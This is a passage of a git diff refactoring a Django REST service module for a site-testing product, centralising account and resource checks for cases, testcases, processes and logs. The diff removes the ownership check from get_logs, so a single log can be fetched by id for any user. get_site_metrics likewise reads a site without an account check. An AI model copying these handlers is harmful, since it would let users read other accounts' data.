+
+    # setup boto3 configurations
+    s3 = boto3.client(
+        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+
+    # saving as json file temporarily
+    with open(f'{steps_id}.json', 'w') as fp:
+        json.dump(steps, fp)
+    
+    # seting up paths
+    steps_file = os.path.join(settings.BASE_DIR, f'{steps_id}.json')
+    remote_path = f'static/cases/steps/{steps_id}.json'
+    root_path = settings.AWS_S3_URL_PATH
+    steps_url = f'{root_path}/{remote_path}'
+
+    # upload to s3
+    with open(steps_file, 'rb') as data:
+        s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+            remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+        )
+
+    # remove local copy
+    os.remove(steps_file)
+
+    # format data
+    data = {
+        'num_steps': len(steps),
+        'url': steps_url
+    }
+
+    # return response
+    return data
+
+
+
+
+def get_cases(request: object) -> object:
+    """ 
+    Get one or more `Cases`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     case_id = request.query_params.get('case_id')
     site_id = request.query_params.get('site_id')
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # setting defaulta
     case = None
     site = None
 
-    if case_id != None:        
-        try:
-            case = Case.objects.get(id=case_id)
-        except:
-            data = {'reason': 'cannot find a Case with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        if case.account != account:
-            data = {'reason': 'cannot retrieve an Case you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='case', 
+        case_id=case_id, site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single case
+    if case_id:        
+
+        # get case
+        case = Case.objects.get(id=case_id)
+
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = CaseSerializer(case, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    if site_id != None:
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        if site.account != account:
-            data = {'reason': 'cannot retrieve an Case you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-    
-    # filter by site association
-    if site is not None:
-        cases = Case.objects.filter(account=account, site=site).order_by('-time_created')
-        paginator = LimitOffsetPagination()
-        result_page = paginator.paginate_queryset(cases, request)
-        serializer_context = {'request': request,}
-        serialized = CaseSerializer(result_page, many=True, context=serializer_context)
-        response = paginator.get_paginated_response(serialized.data)
-        record_api_call(request, response.data, '200')
-        return response
+    # get site if checks passed
+    if site_id:
+        site = Site.objects.get(id=site_id)
 
-    else:
+    # get cases scoped by site
+    if site:
+        cases = Case.objects.filter(account=account, site=site).order_by('-time_created')
+    
+    # get cases scoped by account
+    if not site:
         cases = Case.objects.filter(account=account).order_by('-time_created')
-        paginator = LimitOffsetPagination()
-        result_page = paginator.paginate_queryset(cases, request)
-        serializer_context = {'request': request,}
-        serialized = CaseSerializer(result_page, many=True, context=serializer_context)
-        response = paginator.get_paginated_response(serialized.data)
-        record_api_call(request, response.data, '200')
-        return response
 
+    # serialize and return
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(cases, request)
+    serializer_context = {'request': request,}
+    serialized = CaseSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response
 
 
 
-def search_cases(request):
-    # get data
+
+def get_case(request: object, id: str) -> object:
+    """
+    Get single `Case` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+       case_id=id, resource='case'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get case if checks passed
+    case = Case.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = CaseSerializer(case, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def search_cases(request: object) -> object:
+    """ 
+    Searches for matching `Cases` to the passed 
+    "query"
+
+    Expects: {
+        'request': obejct
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     user = request.user
     account = Member.objects.get(user=user).account
     query = request.query_params.get('query')
@@ -2481,6 +3483,7 @@ def search_cases(request):
         Q(account=account, site_url__icontains=query) 
     ).order_by('-time_created')
     
+    # serialize and rerturn
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(cases, request)
     serializer_context = {'request': request,}
@@ -2491,54 +3494,28 @@ def search_cases(request):
 
 
 
-def delete_case(request, id):
-    user = request.user
-    account = Member.objects.get(user=user).account
-
-    try:
-        case = Case.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Case with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
-    if case.account != account:
-        data = {'reason': 'delete an Case you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
-    
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
-
-    # delete s3 steps object
-    bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-    bucket.objects.filter(Prefix=str(f'static/cases/{case.id}.json')).delete()
-
-    case.delete()
-
-    data = {'message': 'Case has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
-
-
-
 
+def create_auto_cases(request: object) -> object:
+    """
+    Initiates a new `Case` generation task for the `Site` 
+    associated with either the passed "site_url" or "site_id" 
 
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
 
-def create_auto_cases(request):
-    # get data
+    # get request data
     site_id = request.data.get('site_id')
     site_url = request.data.get('site_url')
     start_url = request.data.get('start_url')
     max_cases = request.data.get('max_cases', 4)
     max_layers = request.data.get('max_layers', 6)
-    configs = request.data.get('configs')
+    configs = request.data.get('configs', settings.CONFIGS)
+    
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
@@ -2547,28 +3524,20 @@ def create_auto_cases(request):
         site = Site.objects.filter(account=account, site_url=site_url)[0]
         site_id = str(site.id)
 
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='case', 
+        site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
     # get site if only site_id present
-    if site_id is not None:
+    if site_id and not site_url:
         site = Site.objects.get(id=site_id)
-        if site.account != account:
-            # return error response
-            data = {'reason': 'site not found',}
-            record_api_call(request, data, '404')
-            response = Response(data, status=status.HTTP_404_NOT_FOUND)
-            return response
-
-    if site_id is None and site_url is None:
-        # return error response
-        data = {'reason': 'site not found',}
-        record_api_call(request, data, '404')
-        response = Response(data, status=status.HTTP_404_NOT_FOUND)
-        return response
-
-    
-    # get/set configs
-    if not configs:
-        configs = settings.CONFIGS
-
+   
     # create process obj
     process = Process.objects.create(
         site=site,
@@ -2599,24 +3568,37 @@ def create_auto_cases(request):
 
 
 
+def copy_case(request: object) -> object:
+    """ 
+    Creates a copy of the passed `Case`
 
-def copy_case(request):
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response obejct
+    """
+
+    # get request data
     case_id = request.data.get('case_id')
+
+    # get user and acount
     user = request.user
     account = Member.objects.get(user=user).account
 
-    # check data
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='case', 
+        case_id=case_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get case if checks passed
     if case_id:
-        try:
-            case = Case.objects.get(id=case_id, account=account)
-        except:
-            data = {'reason': 'cannot find a Case with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-    else:
-        data = {'reason': 'you must provide case_id'}
-        record_api_call(request, data, '409')
-        return Response(data, status=status.HTTP_409_CONFLICT)
+        case = Case.objects.get(id=case_id, account=account)
 
     # download steps 
     steps = requests.get(case.steps['url']).json()
@@ -2647,66 +3629,116 @@ def copy_case(request):
 
 
 
+def delete_case(request: object, id: str) -> object:
+    """ 
+    Deletes the `Case` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='case', 
+        case_id=id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get case if checks passed
+    case = Case.objects.get(id=id)
+    
+    # delete case s3 objects
+    delete_case_s3_bg.delay(case_id=id)
+
+    # delete case
+    case.delete()
+
+    # return response
+    data = {'message': 'Case has been deleted',}
+    record_api_call(request, data, '200')
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
+### ------ Begin Testcase Services ------ ###
+
 
 
 
+def create_testcase(request: object, delay: bool=False) -> object:
+    """ 
+    Creates a new `Testcase` from the passed "case_id" for the 
+    passed "site_id"
 
+    Expects: {
+        'request': obejct
+    }
 
+    Returns -> HTTP Response object
+    """
 
-def create_testcase(request, delay=False):
+    # get request data
     case_id = request.data.get('case_id')
     site_id = request.data.get('site_id')
     updates = request.data.get('updates')
     configs = request.data.get('configs', settings.CONFIGS)
+    
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-
-    check_data = check_account(request=request, resource='testcase')
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='testcase', 
+        case_id=case_id, site_id=site_id
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
-    if case_id:
-        try:
-            case = Case.objects.get(id=case_id, account=account)
-        except:
-            data = {'reason': 'cannot find a Case with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        try:
-            site = Site.objects.get(id=site_id, account=account)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
-    else:
-        data = {'reason': 'you must provide both site_id and case_id'}
-        record_api_call(request, data, '409')
-        return Response(data, status=status.HTTP_409_CONFLICT)
+    # get case & site if checks passed
+    case = Case.objects.get(id=case_id, account=account)
+    site = Site.objects.get(id=site_id, account=account)
 
+    # getting steps from case
     steps = requests.get(case.steps['url']).json()
+
+    # adding new info to steps for testcase
     for step in steps:
+        # expanding action
         if step['action']['type'] != None:
             step['action']['time_created'] = None
             step['action']['time_completed'] = None
             step['action']['exception'] = None
             step['action']['passed'] = None
             step['action']['img'] = None
-
+        # expanding assertion
         if step['assertion']['type'] != None:
             step['assertion']['time_created'] = None
             step['assertion']['time_completed'] = None
             step['assertion']['exception'] = None
             step['assertion']['passed'] = None
 
+    # updating values if requested
     if updates != None:
         for update in updates:
             steps[int(update['index'])]['action']['value'] = update['value']
-        
+
+    # create new tescase 
     testcase = Testcase.objects.create(
         case = case,
         case_name = case.name,
@@ -2717,20 +3749,10 @@ def create_testcase(request, delay=False):
         account = account
     )
 
-    if delay:
-        # pass the newly created Testcase to the backgroud task to run
-        create_testcase_bg.delay(testcase_id=testcase.id)
-    else:
-        # running testcase
-        if configs.get('driver', 'puppeteer') == 'puppeteer':
-            testresult = asyncio.run(
-                Caser(testcase=testcase).run_p()
-            )
-        if configs.get('driver', 'puppeteer') == 'selenium':
-            testresult = Caser(testcase=testcase).run_s()
-
-        testcase = Testcase.objects.get(id=testcase.id)
+    # pass the newly created Testcase to the backgroud task to run
+    create_testcase_bg.delay(testcase_id=testcase.id)
 
+    # serialize and return
     serializer_context = {'request': request,}
     data = TestcaseSerializer(testcase, context=serializer_context).data
     record_api_call(request, data, '201')
@@ -2740,43 +3762,59 @@ def create_testcase(request, delay=False):
 
 
 
-def get_testcases(request):
+def get_testcases(request: object) -> object:
+    """ 
+    Get one or more `Testcase`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    # get request data
     testcase_id = request.query_params.get('testcase_id')
     site_id = request.query_params.get('site_id')
     lean = request.query_params.get('lean')
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    if testcase_id != None:        
-        try:
-            testcase = Testcase.objects.get(id=testcase_id)
-        except:
-            data = {'reason': 'cannot find a Testcase with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        if testcase.account != account:
-            data = {'reason': 'cannot retrieve an Testcase you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-        
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='testcase', 
+        testcase_id=testcase_id, site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single testcase
+    if testcase_id:        
+
+        # get testcase
+        testcase = Testcase.objects.get(id=testcase_id)
+
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = TestcaseSerializer(testcase, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    if site_id != None:
-        try:
-            site = Site.objects.get(id=site_id, account=account)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
+    # get testcases scoped to site
+    if site_id:
+        site = Site.objects.get(id=site_id, account=account)
         testcases = Testcase.objects.filter(site=site).order_by('-time_created')
     
-    else:
+    # get testcases scoped to account
+    if not site_id:
         testcases = Testcase.objects.filter(account=account).order_by('-time_created')
 
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(testcases, request)
     serializer_context = {'request': request,}
@@ -2789,27 +3827,81 @@ def get_testcases(request):
 
 
 
-def delete_testcase(request, id):
+
+def get_testcase(request: object, id: str) -> object:
+    """
+    Get single `Testcase` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    try:
-        testcase = Testcase.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Testcase with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
-    if testcase.account != account:
-        data = {'reason': 'delete an Testcase you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+       testcase_id=id, resource='testcase'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get testcase if checks passed
+    testcase = Testcase.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = TestcaseSerializer(testcase, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_testcase(request: object, id: str) -> object:
+    """ 
+    Deletes the `Testcase` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='testcase', 
+        testcase_id=id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get testcase if checks passed
+    testcase = Testcase.objects.get(id=id)
 
     # remove s3 objects
     delete_testcase_s3_bg.delay(testcase_id=id)
 
+    # delete testcase
     testcase.delete()
 
+    # return response
     data = {'message': 'Testcase has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -2818,45 +3910,67 @@ def delete_testcase(request, id):
 
 
 
+### ------ Begin Process Services ------ ###
+
 
 
 
+def get_processes(request: object) -> object:
+    """ 
+    Get one or more `Processes`.
 
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    # get request data
+    site_id = request.query_params.get('site_id')
+    process_id = request.query_params.get('process_id')
+    _type = request.query_params.get('type')
 
-def get_processes(request):
-    site_id = request.query_params.get('site_id', None)
-    process_id = request.query_params.get('process_id', None)
-    _type = request.query_params.get('type', None)
-    account = Account.objects.get(user=request.user)
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='process', 
+        process_id=process_id, site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single process
+    if process_id:
+        
+        # get process
+        process = Process.objects.get(id=process_id)
+        
+        # serialize and return
+        serializer_context = {'request': request,}
+        data = ProcessSerializer(process, context=serializer_context).data
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
 
+    # get processes scoped to site
     if site_id:
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        site = Site.objects.get(id=site_id)
         processes = Process.objects.filter(site=site).order_by('-time_created')
 
-    if process_id:
-        try:
-            process = Process.objects.get(id=process_id)
-            serializer_context = {'request': request,}
-            data = ProcessSerializer(process, context=serializer_context).data
-            record_api_call(request, data, '200')
-            response = Response(data, status=status.HTTP_200_OK)
-            return response
-        except:
-            data = {'reason': 'cannot find a Process with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
+    # get processes scoped to accout and/or type
     if site_id is None and process_id is None:
         if _type is None:
             processes = Process.objects.filter(account=account).order_by('-time_created')
         if _type is not None:
             processes = Process.objects.filter(account=account, type=_type).order_by('-time_created')
 
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(processes, request)
     serializer_context = {'request': request,}
@@ -2868,37 +3982,92 @@ def get_processes(request):
 
 
 
+def get_process(request: object, id: str) -> object:
+    """
+    Get single `Process` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+       process_id=id, resource='process'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get process if checks passed
+    process = Process.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = ProcessSerializer(process, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
 
+### ------ Begin Log Services ------ ###
 
 
-def get_logs(request):
 
+
+def get_logs(request: object) -> object:
+    """ 
+    Get one or more `Testcase`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     log_id = request.query_params.get('log_id')
     request_status = request.query_params.get('success')
     request_type = request.query_params.get('request_type')
 
-    if log_id != None:
+    # get user 
+    user = request.user
+
+    # get single log
+    if log_id:
+
+        # get log
         log = Log.objects.get(id=log_id)
-        if log.user != request.user:
-            data = {'reason': 'cannot retrieve Logs you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
         
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = LogSerializer(log, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
+    # filtering logs by passed params
     if request_status != None and request_type != None:
-        logs = Log.objects.filter(status=request_status, request_type=request_type, user=request.user).order_by('-time_created')
+        logs = Log.objects.filter(status=request_status, request_type=request_type, user=user).order_by('-time_created')
     elif request_status == None and request_type != None:
-        logs = Log.objects.filter(request_type=request_type, user=request.user).order_by('-time_created')
+        logs = Log.objects.filter(request_type=request_type, user=user).order_by('-time_created')
     elif request_status != None and request_type == None:
-        logs = Log.objects.filter(status=request_status, user=request.user).order_by('-time_created')
+        logs = Log.objects.filter(status=request_status, user=user).order_by('-time_created')
     else:
-        logs = Log.objects.filter(user=request.user).order_by('-time_created')
+        logs = Log.objects.filter(user=user).order_by('-time_created')
 
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(logs, request)
     serializer_context = {'request': request,}
@@ -2909,10 +4078,50 @@ def get_logs(request):
 
 
 
+def get_log(request: object, id: str) -> object:
+    """
+    Get single `Log` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+       log_id=id, resource='log'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get log if checks passed
+    log = Log.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = LogSerializer(log, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+### ------ Begin Search Services ------ ###
 
 
 
-def search_resources(request):
+
+def search_resources(request: object) -> object:
     """
     This method will search for any `Page` or `Site`
     that is associated with the user's `Account` and
@@ -2995,189 +4204,43 @@ def search_resources(request):
             'type': 'case',
         })
         i+=1
-        
+    
+    # return response
     response = Response(data, status=status.HTTP_200_OK)
     return response
 
 
 
 
+### ------ Begin Metrics Services ------ ###
 
 
 
 
-def migrate_site(request, delay=False):
-    login_url = request.data.get('login_url', None)
-    admin_url = request.data.get('admin_url', None)
-    plugin_name = request.data.get('plugin_name', 'Cloudways WordPress Migrator')
-    username = request.data.get('username', None)
-    password = request.data.get('password', None)
-    site_id = request.data.get('site_id', None)
-    email_address = request.data.get('email_address', None)
-    destination_url = request.data.get('destination_url', None)
-    sftp_address = request.data.get('sftp_address', None) 
-    dbname = request.data.get('dbname', None)
-    sftp_username = request.data.get('sftp_username', None)
-    sftp_password = request.data.get('sftp_password', None)
-    wait_time = request.data.get('wait_time', 30)
-    driver = request.data.get('driver', 'puppeteer')
-
-    site = Site.objects.get(id=site_id)
-    process = Process.objects.create(
-        site=site,
-        type='migration'
-    )
-    process_id = process.id
-
-    if delay:
-        migrate_site_bg.delay(
-            login_url, 
-            admin_url, 
-            username, 
-            password, 
-            email_address, 
-            destination_url, 
-            sftp_address, 
-            dbname, 
-            sftp_username, 
-            sftp_password, 
-            plugin_name, 
-            wait_time, 
-            process_id, 
-            driver
-        )
-        
-        serializer_context = {'request': request,}
-        data = ProcessSerializer(process, context=serializer_context).data
-        record_api_call(request, data, '201')
-        response = Response(data, status=status.HTTP_201_CREATED)
-        return response
-
-
-
-    if driver == 'selenium':
-
-        # init wordpress
-        wp = W(
-            login_url=login_url, 
-            admin_url=admin_url,
-            username=username,
-            password=password,
-            email_address=email_address,
-            destination_url=destination_url,
-            sftp_address=sftp_address,
-            dbname=dbname,
-            sftp_username=sftp_username,
-            sftp_password=sftp_password, 
-            wait_time=wait_time,
-            process_id=process.id
-        )
-
-        # login
-        wp_status = wp.login()
-
-        # adjust lang
-        wp_status = wp.begin_lang_check()
-
-        # install plugin
-        wp_status = wp.install_plugin(plugin_name=plugin_name)
-
-        # launch migration
-        wp_status = wp.launch_migration()
-
-        # run migration
-        wp_status = wp.run_migration()
-
-        # re adjust lang
-        # wp_status = wp.end_lang_check()
-
-        if wp_status: 
-            data = {
-                'success': 'success',
-                'message': 'site migration succeeded'
-            }
-        else:
-            data = {
-                'success': 'failed',
-                'message': 'site migration failed'
-            }
-
-        response = Response(data, status=status.HTTP_200_OK)
-        record_api_call(request, data, '200')
-        return response
-
-    else:
-
-        # init wordpress for puppeteer
-        wp_status = asyncio.run(
-            W_P(
-                login_url=login_url, 
-                admin_url=admin_url,
-                username=username,
-                password=password, 
-                wait_time=wait_time,
-            ).run_full(plugin_name=plugin_name)
-        )
-
-        if wp_status: 
-            data = {
-                'success': 'success',
-                'message': 'site migration succeeded'
-            }
-        else:
-            data = {
-                'success': 'failed',
-                'message': 'site migration failed'
-            }
-
-        response = Response(data, status=status.HTTP_200_OK)
-        record_api_call(request, data, '200')
-        return response
-
-
-
-
-
-
-
-
-
-
-def create_site_screenshot(request):
-    user = request.user
-    site_id = request.data.get('site_id', None)
-    url = request.data.get('url', None)
-    configs = request.data.get('configs', None)
-    site = None
-
-    if site_id is not None:
-        site = Site.objects.get(id=site_id)
-
-    if configs is not None:
-        if configs['driver'] == 'puppeteer':
-            data = asyncio.run(I().screenshot_p(site=site, url=url, configs=configs))
-        elif configs['driver'] == 'selenium':
-            data = I().screenshot(site=site, url=url, configs=configs)
-    else:
-        data = I().screenshot(site=site, url=url, configs=configs)
-    record_api_call(request, data, '201')
-    response = Response(data, status=status.HTTP_201_CREATED)
-    return response
-
-
-
-
+def get_home_metrics(request: object) -> object:
+    """ 
+    Builds metrics for account "Home" view 
+    on Scanerr.client
 
+    Expects: {
+        'request' : object
+    }
 
+    Returns -> HTTP Response object
+    """
 
-def get_home_stats(request):
+    # get user, account, & sites
     user = request.user
     account = Member.objects.get(user=user).account
     sites = Site.objects.filter(account=account)
+    
+    # setting defaults
     site_count = sites.count()
     test_count = 0
     scan_count = 0
     schedule_count = 0
+    
+    # calculating metrics
     for site in sites:
         tests = Test.objects.filter(site=site)
         scans = Scan.objects.filter(site=site)
@@ -3186,12 +4249,15 @@ def get_home_stats(request):
         scan_count = scan_count + scans.count()
         schedule_count = schedule_count + schedules.count()
 
+    # format data
     data = {
         "sites": site_count, 
         "tests": test_count,
         "scans": scan_count,
         "schedules": schedule_count,
     }
+    
+    # return response
     response = Response(data, status=status.HTTP_200_OK)
     return response
 
@@ -3199,16 +4265,32 @@ def get_home_stats(request):
 
 
 
-def get_site_stats(request):
+def get_site_metrics(request: object) -> object:
+    """ 
+    Builds metrics for account "Site" view 
+    on Scanerr.client
+
+    Expects: {
+        'request' : object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user, account, site, & pages
     user = request.user
     account = Member.objects.get(user=user).account
     site_id = request.query_params.get('site_id')
     site = Site.objects.get(id=site_id)
     pages = Page.objects.filter(site=site)
+
+    # setting detaults
     page_count = pages.count()
     test_count = 0
     scan_count = 0
     schedule_count = Schedule.objects.filter(site=site).count()
+
+    # calculating metrics
     for page in pages:
         tests = Test.objects.filter(page=page)
         scans = Scan.objects.filter(page=page)
@@ -3217,12 +4299,15 @@ def get_site_stats(request):
         scan_count = scan_count + scans.count()
         schedule_count = schedule_count + schedules.count()
 
+    # format data
     data = {
         "pages": page_count, 
         "tests": test_count,
         "scans": scan_count,
         "schedules": schedule_count,
     }
+
+    # return response
     response = Response(data, status=status.HTTP_200_OK)
     return response
 
@@ -3230,7 +4315,18 @@ def get_site_stats(request):
 
 
 
-def get_celery_metrics(request):
+def get_celery_metrics(request: object) -> object:
+    """ 
+    Builds metrics for current Celery task load.
+    Used to provision and terminate new pods in 
+    k8s cluster on PROD
+
+    Expects: {
+        'request' : object
+    }
+
+    Returns -> HTTP Response object
+    """
 
     # Inspect all nodes.
     i = celery.app.control.inspect()
@@ -3257,11 +4353,147 @@ def get_celery_metrics(request):
     if num_replicas > 0:
         ratio = num_tasks / num_replicas
 
-    # return response
+    # format data
     data = {
         "num_tasks": num_tasks,
         "num_replicas": num_replicas,
         "ratio": ratio
     }
+
+    # return response
     response = Response(data, status=status.HTTP_200_OK)
-    return response
\ No newline at end of file
+    return response
+
+
+
+
+### ------ Begin Beta Services ------ ###
+
+
+
+
+def create_site_screenshot(request: object) -> object:
+    """
+    Used to grab a single screenshot of the passed `Site`
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    site_id = request.data.get('site_id', None)
+    url = request.data.get('url', None)
+    configs = request.data.get('configs', settings.CONFIGS)
+
+    # get user
+    user = request.user
+    
+    # set default
